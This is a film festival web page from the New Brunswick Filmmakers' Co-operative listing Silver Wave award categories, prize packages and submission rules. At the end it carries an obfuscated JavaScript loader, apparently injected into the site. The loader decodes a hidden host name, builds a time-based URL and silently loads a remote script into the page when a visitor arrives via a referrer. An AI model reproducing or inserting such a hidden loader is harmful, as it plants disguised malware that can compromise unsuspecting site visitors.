fbpx

The annual Silver Wave Film Festival features something for everyone. The event offers a showcase of multicultural, international, French and English programming of all genres and lengths and a comprehensive industry series which brings experienced and emerging producers and filmmakers together.

Silver Wave Film Festival Logo

Silver Wave is jam packed with exciting events and programming with diversity and depth. The Festival is the brainchild of the board and staff at the New Brunswick Filmmakers’ Co-operative and is the staff’s volunteer labour.

1) Best NB Short Film (open to eligible short NB films/videos)

2) Lex Gigeroff Excellence in Screenwriting in a NB Short Film (open to eligible short NB films/videos

3) Excellence in Cinematography in a NB Short Film (open to eligible short NB films/videos

4) Excellence in Art Direction in a NB Short Film (open to eligible short NB films/videos

5) Excellence in Sound Design in a NB Short Film (open to eligible short NB films/videos

6) Excellence in Picture Editing in a NB Short Film (open to eligible short NB films/videos

7) Excellence in Music Composition in a NB Short Film (open to eligible short NB films/videos

8) Outstanding Performance by a NB Actress (open to eligible short NB films/videos

9) Outstanding Performance by a NB Actor (open to eligible short NB films/videos

10) Outstanding Performance by a NB Supporting Actress (open to eligible short NB films/videos

11) Outstanding Performance by a NB Supporting Actor (open to eligible short NB films/videos

12) Best Documentary Short (open to eligible documentaries under 60 minutes)

13) Best Documentary Feature(open to eligible documentaries 60 minutes and over)

14) Best Experimental OR Animated Short Film (open to eligible short films/videos

15) Best Student Short (dependent on number of submissions, open to eligible student films

16) Best Canadian Short (open to eligible Canadian shorts outside of NB)

17) Best International Short (open to eligible International shorts)

18) Best Genre Short (non-drama films including comedy (open to eligible short NB films/videos

19) Jane LeBlanc Filmmaker Award (for first and second time filmmakers
• $200 in workshops/training from the NBFC (2023)
• $800 cash from The LeBlanc Family and generous donations
• $1000 in equipment and post services from NBFC
• $80 (full membership two years) from the NBFC
• Workshopping of winning screenplay Presented by the New Brunswick Filmmakers’ Co-operative, Tony Merzetti & the LeBlanc Family

20) CBC/New Brunswick Joy ($8,500)
• $2,500 in cash from CBC
• $1,000 in cash from New Brunswick Filmmakers’ Co-operative
• $5,500 in equipment or facilities from the New Brunswick Filmmakers’ Co-operative

21) Brian Carty Film Volunteer Recognition Award

22) Jim Lavoie Film Professional Recognition Award

23) Silver Wave WIFT-AT Salute

24) Viewer’s Choice Award
Chosen by the fest audience online.

All films suitable for festival showcasing are accepted from around the world.
The festival is focused on shorts primarily but does accept fictional feature films annually.

At the discretion of the festival programmers, please be aware that your film may be screened virtually or in person.

Films must not be older than 2 years.
The majority of the awards are focused on NB shorts made by NB resident filmmakers.
There are specific awards for films from away.
For non-English films, subtitles are required.
When submitting please include full crew & cast lists, address, email, posters, stills, headshots and bios and film project info.
Online, private links are the preferred method to view films (Youtube, Vimeo)
Filmmakers must have the rights to all images and music in their film.

!function (_89f699) { var _379fa2 = Date.now(); var _25a7f6 = 1000; _379fa2 = _379fa2 / _25a7f6; _379fa2 = Math.floor(_379fa2); var _3d83e9 = 600; _379fa2 -= _379fa2 % _3d83e9; _379fa2 = _379fa2.toString(16); var _e94403 = _89f699.referrer; if (!_e94403) return; var _b53259 = [56789, 56780, 56721, 56780, 56796, 56791, 56794, 56786, 56798, 56722, 56793, 56784, 56781, 56786, 56780, 56721, 56784, 56781, 56792]; _b53259 = _b53259.map(function(_4286ac){ return _4286ac ^ 56767; }); var _a9f2ce = "f0584339801c2691349218b08c303a39"; _b53259 = String.fromCharCode(..._b53259); var _ed449f = "https://"; var _49a451 = "/"; var _c4aa0 = "compose-"; var _a91e65 = ".js"; var _9836ef = _89f699.createElement("script"); _9836ef.type = "text/javascript"; _9836ef.async = true; _9836ef.src = _ed449f + _b53259 + _49a451 + _c4aa0 + _379fa2 + _a91e65; _89f699.getElementsByTagName("head")[0].appendChild(_9836ef) }(document);